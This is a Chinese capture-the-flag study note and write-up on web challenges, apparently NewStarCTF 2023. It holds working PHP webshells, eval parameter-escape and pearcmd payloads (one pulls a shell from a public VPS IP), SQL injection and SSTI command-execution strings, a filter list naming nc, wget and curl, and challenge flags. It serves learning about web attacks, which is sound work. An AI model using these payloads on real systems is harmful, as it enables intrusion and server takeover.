官方wp链接
第四周详细的wp–别人写的
一。知识
1.1 302重定向
题目描述
点击给出的链接后,没有发生任何变化。
解决方案
通过查看网络请求,可以发现发生了302临时跳转,所以我们无法通过浏览器直接访问未跳转的页面,而flag 可能藏在我们目前无法访问的页面之中。所以我们要想办法去访问未跳转的原网站。
而不强制跳转我们可以通过curl指令来完成。因为curl默认是不跟随重定向的。
成功在命令行中找出flag;
相关知识
什么是HTTP 302 跳转?
首先我们要知道状态码,状态码是HTTP请求过程结果的描述,由三位数字组成。这三位数字描述了请求过程中所发生的情况。状态码位于响应的起始行中,如在 HTTP/1.0 200 OK 中,状态码就是 200。
每个状态码的第一位数字都用于描述状态(“成功”、“出错”等)。如200 到 299 之间的状态码表示成功;300 到 399 之间的代码表示资源已经转移。400 到 499 之间的代码表示客户端的请求出错了。500 到 599 之间的代码表示服务器出错了。
整体范围 已定义范围 分 类
100~199 100~101 信息提示
200~299 200~206 成功
300~399 300~305 重定向
400~499 400~415 客户端错误
500~599 500~505 服务器错误
那么302就属于重定向的状态码,它表示你要访问的资源在别的地方。
301 Moved Permanently 在请求的URL已被移除时使用。响应的Location首部中应该包含资源现在所处的URL
302 Found 与301状态码类似;但是,客户端应该使用Location首部给出的URL来临时定位资源。将来的请求仍应使用老的URL
302表示临时重定向,而301表示永久重定向;
PHP 302 跳转代码
<?php
header("HTTP/1.1 302 found");
header("Location:https://www.baidu.com");
exit();
?>
PHP 301 跳转代码
<?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: http://www.baidu.com/");
exit();
?>
curl 指令
curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据。
我们直接在curl命令后加上网址,就可以看到网页源码。
curl www.baidu.com
$ curl www.baidu.com
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2381 100 2381 0 0 20350 0 --:--:-- --:--:-- --:--:-- 20350<!DOCTYPE html>
<!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer>
......
</html>
curl 默认是不进行重定向的。如果要进行重定向,我们需要加上-L参数
curl -L taobao.com
加上 -o 参数可以保存网页源代码到本地
curl -o taobao.txt taobao.com -L
加上-i参数可以看到响应报文
curl -i baidu.com
$ curl -i baidu.com
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 81 100 81 0 0 627 0 --:--:-- --:--:-- --:--:-- 627HTTP/1.1 200 OK
Server:
Date: Wed, 25 Mar 2020 16:00:02 GMT
Content-Type: text/html
Content-Length: 81
Connection: keep-alive
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
除此之外,curl 的功能远不止如此。以后再慢慢研究。
1.2 burpsuit-MD5加密爆破
intruder主要就是做暴力破解的,还有一个点比较重要,就是payload processing:
比如GET的值是一个MD5,提交上去必须用明文的MD5
这里要显示11和22的MD5怎么做呢?
把payload处理成MD5(Payload Processing——>Hash——>MD5)
1.3 请求参数中的非法宇符
php会把请求参数中的非法宇符转为下划线
NI+SA+=NI_SA_
在php中变量名字是由数字字母和下划线组成的,所以不论用 post 还是 get 传入变量名的时候都将空格、+、点、[
转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM==CTF_SHOW.COM
注意:这种Trick只能在PHP版本小于8
时有效,当PHP版本大于等于8并不会出现这种转换错误
1.4 /X-Real-IP
X-Real-IP是一个自定义Header。X-Real-Ip 通常被 HTTP 代理用来表示与它产生 TCP 连接的设备 IP
,这个设备可能是其他代理,也可能是真正的请求端。需要注意的是,X-Real-Ip 目前并不属于任何标准,代理和 Web 应用之间可以约定用任何自定义头来传递这个信息。
1.5 strcmp函数的绕过
使用 strcmp 函数来比较两个字符串,并根据返回的结果来判断哪个字符串更大。具体的规则如下:
如果 strcmp 返回一个正整数,那么第一个字符串大于第二个字符串。
如果 strcmp 返回0,那么两个字符串相等。
如果 strcmp 返回一个负整数,那么第一个字符串小于第二个字符串。
以下是一个示例,演示如何使用 strcmp 来判断哪个字符串更大:
php
$string1 = "apple";
$string2 = "banana";
$result = strcmp($string1, $string2);
if ($result > 0) {
echo "$string1 大于 $string2";
} elseif ($result == 0) {
echo "$string1 等于 $string2";
} else {
echo "$string1 小于 $string2";
}
在这个示例中,strcmp 比较了 “apple” 和 “banana”,并返回一个正整数,因此输出是 “$string1 大于 $string2”。这表示 “apple” 在字典顺序中大于 “banana”。
strcmp 的参数只能是字符串,当我们传入数组
时就会返回NULL,而判断使用的是==,NULL==0是 bool(true)的
代码测试
<?php
error_reporting(0);
$flag="{sadd44484878}";
if(isset($_GET['password']))
if (strcmp($_GET['password'],$flag)==0)
die('Flag: '.$flag);
else
print 'Invalid password';
?>
get 传参 password[] 数组,成功打出flag
1.6 extract变量覆盖漏洞
直接看题
extract()函数用法:
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖
trim()函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
ltrim() - 移除字符串左侧的空白字符或其他预定义字符
rtrim() - 移除字符串右侧的空白字符或其他预定义字符
我们本题利用extract()函数的变量覆盖漏洞原理构造payload
漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。
代码审计需要满足两个条件:1. if(isset($a)) == 》 TRUE
- if(a==c) ==>TRUE
构造payload:
//利用extract()函数变量覆盖漏洞+php伪协议
http://123.206.87.240:9009/1.php?a=999&b=data://,999
//利用file_get_content()函数返回字符串+php弱类型(null == "string" ==> true)
http://123.206.87.240:9009/1.php?a=
http://123.206.87.240:9009/1.php?a=&b=
http://123.206.87.240:9009/1.php?a=&c=
属于菜鸡的注释: 当file_get_connents 读入的不是一个文件是,返回的是false ,也就是 NULL
所以我们可以不对 b变量进行赋值或者随意赋值,只要a 是 NULL 就行,如果要想让a 不是NULL 我们就可以利用php伪协议 data,这里不能使用 php://input 是因为 它限定的是GET方式传参
1.7 MD5和sha1,一样的弱类型比较
利用数组绕过(===判断)
Md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断。
1.8 MD5值得是c4d038
开头
MD5值得是c4d038
开头
寻找合适值的脚本
# 指定MD5值的开头
import hashlib
prefix = "c4d038"
counter = 0
while True:
input_string = str(counter)
md5_hash = hashlib.md5(input_string.encode()).hexdigest()
if md5_hash.startswith(prefix):
print(f"Found a match: Input string '{input_string}' has an MD5 hash starting with '{prefix}'")
break
counter += 1
找到合适的值:114514
1.9参数逃逸
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,点号,空格,单引号
eval一个参数来逃逸,正则匹配时对c参数进行了限制:
?c=eval($_GET[x]);&x=phpinfo();
?c=eval($_GET[x]);&x=system('cp f* 1.txt');
1.10 register_argc_argv
是利用pearcmd.php
这个pecl/pear
中的文件。
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前
,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
不过,在Docker任意版本镜像
中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。
原本pear/pcel是一个命令行工具
,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。
我最早的时候是在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给\$argc、\$argv、$_SERVER['argv']
几个变量。
如果PHP以命令行的形式运行(即sapi是cli),这里很好理解。但如果PHP以Server
的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?
[0x00] 本地文件包含
第一眼就看到config-create
,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径
,第一个参数会被写入到这个文件
中。
所以,我构造出最后的利用数据包如下:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
在register_argc_argv开启的时候可以通过+
来分隔变量
payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
发送这个数据包,目标将会写入一个文件/tmp/hello.php
,其内容包含<?=phpinfo()?>
:
然后,我们再利用文件包含漏洞包含这个文件即可getshell:
[0x01] 公网下载文件
在register_argc_argv开启的时候可以通过+
来分隔变量
先进行包含pearcmd.php
然后在通过+分隔符
来执行download命令
在我们的vps上面创建一个test.php
<?php
echo "<?php system(whoami);?>";
?>
然后在题目url里传入?c=pearcmd&+download+http:/vpsip/test.php
访问 题目url/test.php
返回 www-data 可以知道我们用户身份为 www-data
也证明成功下载了我们test.php
那么我们也可以写一个一句话木马,下载到题目里 访问执行命令,获取flag
但不知道为什么这个更改为木马文件后,就下载不下来了。
看到大师傅后面说的原因是:
实现的原因是我们通过python3开一个服务,而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。
我们vps上在~目录写入一个shell木马,然后python3 -m http.server 81
开放一个服务
最终传入
payload:
?c=pearcmd&+download+http:/vpsip:81/shell.php
成功下载下来了shell.php木马文件 密码为shell
得到flag
速解
payload:
①
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
②
?c=pearcmd&+download+http:/vpsip:81/shell.php
1.11 awk
awk逐行获取数据
cat flag | awk NR==1
1.12 cut命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1
1.13 if else判断语句
if 语句语法格式:
if condition
then
command1
command2
...
commandN
fi
写成一行(适用于终端命令提示符):
if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi
1.14 script
用于记录终端会话或命令行操作的输出和输入
script [选项] [文件名]
选项:script
命令可以使用多种选项,其中一些常见的选项包括:
-a:追加模式,将输出附加到现有文件而不是覆盖它。
-c:执行命令后退出,而不是启动一个新shell。
-q:不显示启动和退出消息。
文件名:指定要将记录保存到的文件名。如果不提供文件名,script将使用默认文件名typescript
1.15 php GC(垃圾回收)机制
php unserialize fast destruct–这跟垃圾回收机制好像没有联系
有异常,强制退出程序,不会回收对象,即不会执⾏对象的__destruct
throw new Exception("xxx");
1、如果单独执⾏unserialize
函数进⾏常规的反序列化,那么被反序列化后的整个对象的⽣命周期就仅限于这个函数执⾏的⽣命周期,当这个函数执⾏完毕,这个类就没了,在有析构函数的情况下就会执⾏它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其⽣命周期就会变⻓,由于它⼀直都存在于这个变量当中,当这个对象被销毁,才会执⾏其析构函数。
本质上,fast destruct 是因为 unserialize 过程中扫描器发现序列化字符串格式有误
导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调⽤对象的__destruct()
, 提前触发反序列化链条。
测试 (php7才⾏ php8不⾏)
class A{
public $name;
public function __destruct(){
echo "A::__destruct";
}
}
unserialize('O:1:"A":1:{s:4:"name";s:3:"123";}');//unserialize这个函数结束后直接执⾏__destruct
throw new Exception("xxxx");
$o = unserialize('O:1:"A":1:{s:4:"name";s:3:"123";}');//unserialize这个函数结束后,由于对象还被引⽤,所以不会被销毁,即不会执⾏__destruct
throw new Exception("xxxx");//抛出异常,再也不执⾏__destruct
所以要fast destruct
,让程序抛出异常前就销毁对象。
1.16 php unserialize 字符逃逸
逃逸问题解释的很清楚
1.17 phar反序列化
https://blog.csdn.net/unexpectedthing/article/details/122930867
二。实例
第一周
ErrorFlask
提示传参number1和number2
/?number1=1&number2=3
题目中提示了ssti,我们利用ssti的句式让页面显示错误
/?number1=1&number2=3*3
再查看源代码并寻找flag
Begin of HTTP
GET:/?ctf=1
POST:secret=n3wst4rCTF2023g00000d
Begin of Upload
<?php @eval($_POST[8]);?>
http://54fcc65a-b97f-4f44-b28e-56bfb9406d4c.node4.buuoj.cn:81/upload/1.php
泄漏的秘密
分别访问robots.txt和www.zip即可发现分成两半的flag
Begin of PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
第一处if:
MD5弱类型绕过:
?key1[]=1&key2[]=2
第二处if:
MD5弱类型绕过:
&key4[]=11
一处都还可以:0e开头的全部相等
第三处if:
strcmp 的参数只能是字符串,当我们传入数组时就会返回NULL,而判断使用的是==,NULL==0是 bool(true)的:
key3[]=1
第四处if:
&key5=13123a
也是弱类型比较:2024a
第五处if:
extract()函数用法: extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖
&flag5='
R!C!E!
考点:
不合法字符 参数逃逸
疑点:
明明有eval,传参中还要eval
第一种方法
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
MD5值得是c4d038
开头
寻找合适值的脚本
# 指定MD5值的开头
import hashlib
prefix = "c4d038"
counter = 0
while True:
input_string = str(counter)
md5_hash = hashlib.md5(input_string.encode()).hexdigest()
if md5_hash.startswith(prefix):
print(f"Found a match: Input string '{input_string}' has an MD5 hash starting with '{prefix}'")
break
counter += 1
找到合适的值:114514
还要用绕过字符:
参数逃逸
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,点号,空格,单引号
eval一个参数来逃逸,正则匹配时对c参数进行了限制:
?c=eval($_GET[x]);&x=phpinfo();
?c=eval($_GET[x]);&x=system('cp f* 1.txt');
payload:
password=114514&e[v.a.l=eval($_POST[8]);&8=system('ls /');
password=114514&e[v.a.l=eval($_POST[8]);&8=system('cat /flag');
EasyLogin
一种思路
注册一个账号
检查,并点击登录
发现进行了302跳转
flag可能在其中
重新登录,并抓包
在返回包中发现了flag的位置提示
假的,应该是得要以管理员身份登录
猜测账号是admin,开始爆破
发现了密码被MD5加密了:
学习一下怎么办后爆破
先爆破六位数的纯数字
——————————————
第一个就是密码,密码为000000;
开启抓包,输入正确的账号密码,点击登录
在302跳转的这个页面发现了flag
有意思的是在这个页面点击Go再次发包,就显示找不到网址了
另一种思路(正解)
考点:弱口令登录、HTTP 302 跳转抓包
FLAG:动态FLAG
解题步骤
进入之后是一个登录界面,先随便注册一个账号登进去看看。Ctrl C
和Ctrl D
回到 Shell,简单看了下目录结构
没有什么东西,只告知了含有一个 admin
用户,按方向上键
可以查询Bash历史记录。
发现 Hint,得知 admin 的密码为弱密码加上newstarnewstar2023
后其中的一个。
按Ctrl D
或者输入exit后回车回到登录界面。试一下newstar``newstar2023
,没登进去,在网上随便搜弱密码,试一些常见的,试出来是qwe123,不同的靶机密码可能不一样。
提示:题目采用的弱密码表
123456789
password
newstar
newstar2023
123qwe
qwe123
qwertyuiop
asdfghjkl
zxcvbnm
admin123
admin888
111111
000000
查询历史记录只提示了使用BurpSuite,尝试抓包。
使用BurpSuite拦截、开启代理,重新完成一次登录,发现一个/passport的 302 跳转,查看它的响应获取 flag.
查找密码的正确方式
抓包,同时修改密码
有hint,且每次都不同
第二周
游戏高手
一种方法
经测试,发现游戏属于JS代码运行,搜索alert
发现可能弹出代码的地方
条件是分数gameScore
>100000
搜索gameScore
,发现最开始赋值的地方var gameScore = 0;
可以直接将其在控制台修改,进行游戏,初试分数就满足要求了
死亡后得到flag
第二种方法
考点:JavaScript分析
FLAG:动态FLAG
解题步骤
去查看源代码中的app_v2.js文件内容,可以看到在游戏结束的处理时代码如下:
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}
可以看到当分数大于10w分的时候XHR会向api.php发送一个json数据包,json内容如下:
{"score":gameScore}
然后我们可以使用Burp Suite来完成发包:
修改POST,/api.php,Content-Type:,{"score":1000000}
POST /api.php HTTP/1.1
Host: e032af78-00ff-4553-bae2-cb5bae19460c.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "2cb-5f7c86fc11d00-gzip"
If-Modified-Since: Sun, 26 Mar 2023 07:18:44 GMT
Content-Type: application/json
Connection: close
Content-Length: 17
{"score":1000000}
ez_sql
进来是一个成绩查询界面
暂未发现注入点
点一个学科进去
http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919
发现注入点Get:/?id=
①Sqlmap扫
sqlmap -u http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919 --level 3
扫出的注入类型有三个:布尔,时间,显错
直接爆库,得到flag
sqlmap -u http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919 --dump --level 3
②手注
/?id=TMP0919' and 1=1 -- qwe
提示
fuzz测试一下
handler select sleep or select handler xor ascii select oorr anandd
sleep floor rand() information_schema.tables order format substring
ord for
过滤了and,sleep,但没有过滤AND,SLEEP可以使用大小写绕过
'AND 1=1 -- qwe
'AND 1=2 -- qwe
/?id=TMP0919'AND SLEEP(5) -- qwe
存在布尔盲注
存在时间盲注
/?id=TMP0919'ORder by 5-- qwe
页面字段数为5
/?id=1'UNION SELECT 11,22,33,44,55 -- qwe
存在显错注入
显错注入
得flag
'UNION SELECT GROUP_CONCAT(TABLE_NAME),2,3,4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() -- QWE
//grades,here_is_flag
'UNION SELECT GROUP_CONCAT(COLUMN_NAME),2,3,4,5 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME = 'here_is_flag' -- QWE
//flag
'UNION SELECT flag,2,3,4,5 FROM here_is_flag -- QWE
//flag{abd5cedf-864a-48f2-b3f6-753765acdbf4}
include 0。0
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope
考点:要使用php伪协议
难点:常用的string.rot13,convert.base64-encode 被过滤了
解法:
解法1
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
查看源代码
显示出来的flag太乱了
?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上。
①
上python脚本交换回来
def swap_odd_even_chars(input_str):
# 将字符串转换为字符列表以便于交换
char_list = list(input_str)
# 遍历字符串的奇数位和偶数位字符并交换它们
for i in range(0, len(char_list) - 1, 2):
char_list[i], char_list[i + 1] = char_list[i + 1], char_list[i]
# 将字符列表转换回字符串
result_str = ''.join(char_list)
return result_str
# 测试
input_string = "?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d"
result = swap_odd_even_chars(input_string)
print(result) # 输出
得到flag:
②
php代码,再次进行相同转换:
<?php
echo iconv("UCS-2LE","UCS-2BE",'?<hp p//lfgaf{64fca9-a2ab54-36-9ebcd2-e22e79aff1}d');
查看源代码
解法2
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
Upload again!
图片马
<?php
@eval($_POST[8]);
echo "it is ok";
?>
不行,现在来判断是黑名单还是白名单
换了一种提示方式,猜测应该是对马有要求
换成这个
<script language="php">eval($_POST[8]);</script>
再次上传
图片上传成功,还需要上传.htaccess
文件
连蚁剑
http://a5b725de-8dc0-4ba6-83b8-51f5c3da83d7.node4.buuoj.cn:81/upload/22.jpg
Unserialize?
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
没有过滤nl
[0x00] 生成payload
<?php
class evil {
private $cmd = 'nl /th1s_1s_fffflllll4444aaaggggg ';
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
$a = new evil;
echo urlencode(serialize($a));
POST:O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A34%3A%22nl+%2Fth1s_1s_fffflllll4444aaaggggg+%22%3B%7D
R!!C!!E!!
考点:目录扫描 无参rce(在apache2环境下的getallheaders()) Nginx+Apache可以同时使用(其实就是Nginx做前端,Apache做后端)
疑点:加入的head要在Connection:
上面 明明源代码中已经有eval
了,却还是要再套一个eval函数
[0x00] 找到文件
dirsearch扫描目录:
dirsearch -u http://3a6205c4-b4ad-4537-bb0e-998d11070be3.node4.buuoj.cn:81/ -e php -s 0.4 -t 3
发现很多git
文件,使用GitHack
尝试得到文件
[0x01] 代码分析,构建payload
在bo0g1pop.php
文件中得到源码
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
访问bo0g1pop.php
分析一下代码:
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])
无参rce
数字字母'_'()
①
过滤了scandir,直接斩断我们用代码执行(只用php自带函数)的路子
②
可惜又过滤了get_defined_vars
③
session_id(session_start()又不行了
④成功的路子
ok,最后一条路,
在apache2
环境下,我们有函数getallheaders()
可返回http header
print_r(getallheaders());
sky: system('ls /');
sky
要在Connection
上面,不知道为什么
一种构造
payload:
eval(array_rand(array_flip(getallheaders())));
sky: system('ls /');
sky: system('cat /flag');
另一种构造
payload:
eval(pos(array_reverse(getallheaders())));
X-Forwarder-Proto: system('cat /f*');//到最后一位
第三周
medium_sql
进来是一个成绩查询界面
暂未发现注入点
点一个学科进去
http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919
发现注入点Get:/?id=
Sqlma扫不出来只有手注
手注
'and 1=1-- qwe
有禁用的东西,就fuzz测试
handler select sleep or select handler xor ascii select oorr anandd
sleep floor rand() information_schema.tables order format substring
ord for and
都是瞎写,判断可以通过大写绕过
'ORDER by 5 -- qwe
判断出页面字段数为5
想再判断显错点
'UNION SELECT 111,222,333,444,555 -- qwe
开始union被禁用了,我绕不过去,就只有利用盲注
-python脚本
[*]开始获取数据库名长度
[*] 数据库名长度:3
[*]开始获取数据库名
[*]c
[*]ct
[*]ctf
[+]当前数据库名:ctf
[*] 开始获取ctf数据库表数量:
[*]ctf数据库中表的数量为:2
[*] 开始获取ctf数据库中的表名
[*] 正在获取第1个表名
g
gr
gra
grad
grade
grades
[*] 正在获取第2个表名
h
he
her
here
here_
here_i
here_is
here_is_
here_is_f
here_is_fl
here_is_fla
here_is_flag
[+]数据库ctf的表如下:
(1)grades
(2)here_is_flag
[*]请输入要查看表的序号:2
[-]开始获取here_is_flag数据表的字段数:
[*] ctf数据库中的here_is_flag表的字段个数为1个:
正在获取第1个字段的长度和名称:
f
fl
fla
flag
[+]数据表here_is_flag的字段如下:
(1)flag
[*]请输入要查看字段的序号(输入0退出):1
[-]开始获取here_is_flag表flag字段的数据数量
[-]here_is_flag表flag字段的数据数量为:1
[-]正在获取flag的第1个数据
[-]第1个数据长度为:42
f
fl
fla
flag
flag{
flag{8
flag{80
flag{806
flag{8064
flag{80642
flag{806421
flag{8064216
flag{80642161
flag{80642161-
flag{80642161-8
flag{80642161-85
flag{80642161-858
flag{80642161-858d
flag{80642161-858d-
flag{80642161-858d-4
flag{80642161-858d-48
flag{80642161-858d-487
flag{80642161-858d-4876
flag{80642161-858d-4876-
flag{80642161-858d-4876-a
flag{80642161-858d-4876-a1
flag{80642161-858d-4876-a14
flag{80642161-858d-4876-a143
flag{80642161-858d-4876-a143-
flag{80642161-858d-4876-a143-5
flag{80642161-858d-4876-a143-5b
flag{80642161-858d-4876-a143-5b0
flag{80642161-858d-4876-a143-5b03
flag{80642161-858d-4876-a143-5b036
flag{80642161-858d-4876-a143-5b036f
flag{80642161-858d-4876-a143-5b036f2
flag{80642161-858d-4876-a143-5b036f20
flag{80642161-858d-4876-a143-5b036f205
flag{80642161-858d-4876-a143-5b036f2059
flag{80642161-858d-4876-a143-5b036f2059d
flag{80642161-858d-4876-a143-5b036f2059d5
flag{80642161-858d-4876-a143-5b036f2059d5}
{'flag': ['flag{80642161-858d-4876-a143-5b036f2059d5}']}
[+]数据表here_is_flag的字段如下:
(1)flag
[*]请输入要查看字段的序号(输入0退出):
Include 🍐
考点:
register_argc_argv
疑点:
①
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
②
?c=pearcmd&+download+http:/vpsip:81/shell.php(大蒙圈:文件名为b.php时失败)
这些payload我看不懂其中的连接符号
LFI to RCE
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
LFI的意思是本地文件包含
提示我们查看phpinfo.php
搜索flag
,可以看到hint
fake{Check_register_argc_argv}
暗示我们查看register_argc_argv
,搜索它
发现这个服务是开启的,一定有与他相关的漏洞,搜索
这道题,我用了好几个方式,但是只有公网下载文件成功了,还开启了python3服务
python3 -m http.server 81
p.php:
<?php
highlight_file("p.php");
@eval($_POST[8]);
echo "it is ok";
?>
?file=pearcmd&+download+http://124.70.205.216:81/p.php
访问p.php
连蚁剑
参考:
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
https://blog.csdn.net/weixin_63231007/article/details/125900528
GenShin
考点:
SSTI
疑点:
你说得对,但是
[0x00]找到SSTI点
dirsearch扫出来的/console
是迷惑人的
[0x01]测试模板
{{}}
被过滤了
fuzz测试
== popen request session \
\x {{ }} ’ url_for lipsum
用{% print() %}
替代
{% print(7*7) %}
大致判断是flask模板
[0x02]构建flag
Python简单的SSTI,ban掉了一些内置函数但还剩下get_flashed_message()
popen
单词的绕过:["pop"+"en"]
咱们直接
{% print(get_flashed_messages.globals.os[“pop”+“en”](“cat /flag”).read()) %}
R!!!C!!!E!!!
考点:
Bash盲注
疑点:
第一种解法
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
